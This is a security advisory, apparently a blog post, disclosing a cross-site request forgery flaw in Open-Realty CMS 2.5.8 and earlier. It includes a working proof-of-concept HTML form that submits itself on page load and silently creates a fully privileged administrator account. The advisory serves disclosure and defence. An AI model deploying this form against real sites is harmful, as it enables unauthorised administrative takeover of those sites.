Open-Realty CMS 2.5.8 (2.x.x) <= Cross Site Request Forgery (CSRF) Vulnerability

1. OVERVIEW

Open-Realty 2.5.8 and lower versions are vulnerable to Cross Site
Request Forgery.


2. BACKGROUND

Open-Realty is the world's leading real estate listing marketing and
management CMS application, and has enjoyed being the real estate web
site software of choice for professional web site developers since
2002.


3. VULNERABILITY DESCRIPTION

Open-Realty 2.5.8 and lower versions contain a flaw that allows a
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw
exists because the application does not require multiple steps or
explicit confirmation for sensitive transactions for majority of
administrator functions such as adding new user, assigning user to
administrative privilege. By using a crafted URL, an attacker may
trick the victim into visiting to his web page to take advantage of
the trust relationship between the authenticated victim and the
application. Such an attack could trick the victim into executing
arbitrary commands in the context of their session with the
application, without further prompting or verification.


4. VERSIONS AFFECTED

2.5.8 (2.x.x) <=


5. PROOF-OF-CONCEPT/EXPLOIT

<!-- Add Admin User -->
<form action="http://localhost/orealty/admin/index.php?action=user_manager"
method="POST">
<input type="hidden" name="action" value="createNewUser" />
<input type="hidden" name="edit&#95;user&#95;name" value="user" />
<input type="hidden" name="edit&#95;user&#95;pass" value="pa55w0rd" />
<input type="hidden" name="edit&#95;user&#95;pass2" value="pa55w0rd" />
<input type="hidden" name="user&#95;first&#95;name" value="hacker" />
<input type="hidden" name="user&#95;last&#95;name" value="smith" />
<input type="hidden" name="user&#95;email"
value="hacker&#64;yehg&#46;net" />
<input type="hidden" name="edit&#95;active" value="yes" />
<input type="hidden" name="edit&#95;isAdmin" value="yes" />
<input type="hidden" name="edit&#95;isAgent" value="yes" />
<input type="hidden" name="limitListings" value="&#45;1" />
<input type="hidden" name="edit&#95;limitFeaturedListings"
value="&#45;1" />
<input type="hidden" name="edit&#95;userRank" value="0" />
<input type="hidden" name="edit&#95;canEditAllListings" value="yes" />
<input type="hidden" name="edit&#95;canEditAllUsers" value="yes" />
<input type="hidden" name="edit&#95;canEditSiteConfig" value="yes" />
<input type="hidden" name="edit&#95;canEditMemberTemplate" value="yes" />
<input type="hidden" name="edit&#95;canEditAgentTemplate" value="yes" />
<input type="hidden" name="edit&#95;canEditPropertyClasses" value="yes" />
<input type="hidden" name="edit&#95;canEditListingTemplate" value="yes" />
<input type="hidden" name="edit&#95;canViewLogs" value="yes" />
<input type="hidden" name="edit&#95;canModerate" value="yes" />
<input type="hidden" name="edit&#95;canFeatureListings" value="yes" />
<input type="hidden" name="edit&#95;canEditListingExpiration"
value="yes" />
<input type="hidden" name="edit&#95;canExportListings" value="no" />
<input type="hidden" name="edit&#95;canPages" value="yes" />
<input type="hidden" name="edit&#95;canVtour" value="yes" />
<input type="hidden" name="edit&#95;canFiles" value="yes" />
<input type="hidden" name="edit&#95;canUserFiles" value="yes" />
<input type="hidden" name="edit&#95;canManageAddons" value="yes" />
<script>document.forms[0].submit()</script>
</form>


6. SOLUTION

The vendor has been reported to have discontinued this product and
therefore has no patch or upgrade that mitigates this problem.
It is recommended that an alternate software package be used in its place.


7. VENDOR

Transparent Technologies Inc.
http://www.transparent-support.com


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-03-05: Open-Realty 2.5.8 in End-of-Support/Maintenance circle
2012-11-17: Vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bopen-realty_2.5.8_2.x%5D_csrf
Open-Realty
Home Page: http://www.open-realty.org/


#yehg [2012-11-17]

Popular posts from this blog

Open-Realty CMS 3.x | Persistent Cross Site Scripting (XSS) Vulnerability

OxWall 1.1.1 <= Multiple Cross Site Scripting Vulnerabilities (CVE-2012-0872)

Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution